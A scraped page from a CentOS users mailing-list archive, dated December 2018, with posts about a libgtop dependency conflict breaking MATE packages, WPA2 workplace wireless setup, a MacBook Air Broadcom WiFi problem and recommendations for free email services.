I just tried updating this laptop to the shiny new Centos version and it appears that Mate doesn't like the new version of libgtop, as you can see here: Error: Package: marco-1.16.1-3.el7.x86_64 (@epel) Requires: libgtop-2.0.so.10()(64bit) Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) libgtop-2.0.so.10()(64bit) Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) ~libgtop-2.0.so.11()(64bit) Error: Package: mate-applets-1.16.0-1.el7.x86_64 (@epel) Requires: libgtop-2.0.so.10()(64bit) Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) libgtop-2.0.so.10()(64bit) Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) ~libgtop-2.0.so.11()(64bit) Error: Package: mate-disk-usage-analyzer-1.16.1-1.el7.x86_64 (@epel) Requires: libgtop-2.0.so.10()(64bit) Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) libgtop-2.0.so.10()(64bit) Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) ~libgtop-2.0.so.11()(64bit) Error: Package: mate-system-monitor-1.16.0-1.el7.x86_64 (@epel) Requires: libgtop-2.0.so.10()(64bit) Removing: libgtop2-2.34.2-2.el7.x86_64 (@base) libgtop-2.0.so.10()(64bit) Updated By: libgtop2-2.38.0-3.el7.x86_64 (base) ~libgtop-2.0.so.11()(64bit) -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

1 0

Connect CentOS 7 / GNOME to wireless WPA2/AES ?
by Nicolas Kovacs 03 Dec '18

03 Dec '18

Hi, I just shipped a CentOS 7 laptop with a slightly customized GNOME desktop to one of my clients who works for a belgian public broadcasting service. He wants to move away from the world of proprietary software, so he sent me a list of specifications, which we have almost completed. There's a handful of items we still have to work out. One of them is the specific wireless connection available at his workplace. He can connect to his home network OK using the NetworkManager applet provided in the GNOME desktop. But at his workplace, it's a different setup with WPA2/AES. Has anybody on this list ever used this kind of wireless connection method, which involves installing a certificate? Or maybe you can point me to the relevant documentation? Cheers from the sunny South of France, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

2 1

Centos7- WiFi not recognized - HWaddress - Or Any Idea
by Cristian Danciu 03 Dec '18

03 Dec '18

Hello, I recently installed centos7+Gnome on my macbook air , at first start the wireless adaptor , which is the (infamous?) BCMA4360 , seemed to work because I was asked to choose the network and provided password, but thereafter wifi did not appear, so I can connect to the Internet only by cable. Googling a few days and checking on my computer I found the following:- the infamous wifi adapter BCM4360 appears on lshw list- the driver for wifi adapter appears on lsmod list as BCMA, and I also find the driver, bcm-pci-bridge in sys/bus/drivers- i didn't find any file in /etc/sysconfig/network_scripts where the device is bcma wifi adapter, or any wifi. My idea to workaround this is: to create a file in /etc/sysconfig/network_scripts/, in wich i inteded to pass the HWadress of the device(BCMA4360), but I wasn't able to find a way to get this address.If somebody can help me to find a way to get this HWaddr would be very appreciated.Or any ideas to get wifi on my fancy macbook air with centos and no macos at all, because at installation somehow i accomplished the performance to format the entire disk.I also mention that I am not an IT guy, but I want to learn a lot about the linux centos, but first things first : I need wifi. Regards, Cristian

3 2

OT: good free email service ?
by Valeri Galtsev 02 Dec '18

02 Dec '18

Dear All, I know it is an oxymoron: good free ... service ;-) Still, can someone recommend good free email service? I definitely will not go with google, Microsoft, Apple. I don't have same strong feeling about yahoo as I have about above, but... Anyway, thanks in advance for all your advises. Valeri ++++++++++++++++++++++++++++++++++++++++ Valeri Galtsev Sr System Administrator Department of Astronomy and Astrophysics Kavli Institute for Cosmological Physics University of Chicago Phone: 773-702-4247 ++++++++++++++++++++++++++++++++++++++++

9 9

Re: [CentOS] OT: good free email service ?
by Alice Wonder 02 Dec '18

02 Dec '18

On 12/02/2018 06:41 AM, Chris wrote: > On Sat, 10 Nov 2018 00:22:00 -0800 > Alice Wonder <alice(a)domblogger.net> wrote: > >> I run my own, using postfix + dovecot + roundcube, but because I >> can't afford my own subnet - I end up constantly on spam blacklists >> when someone else on my subnet sends spam. > > which blacklists are this? > spamhaus zen

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss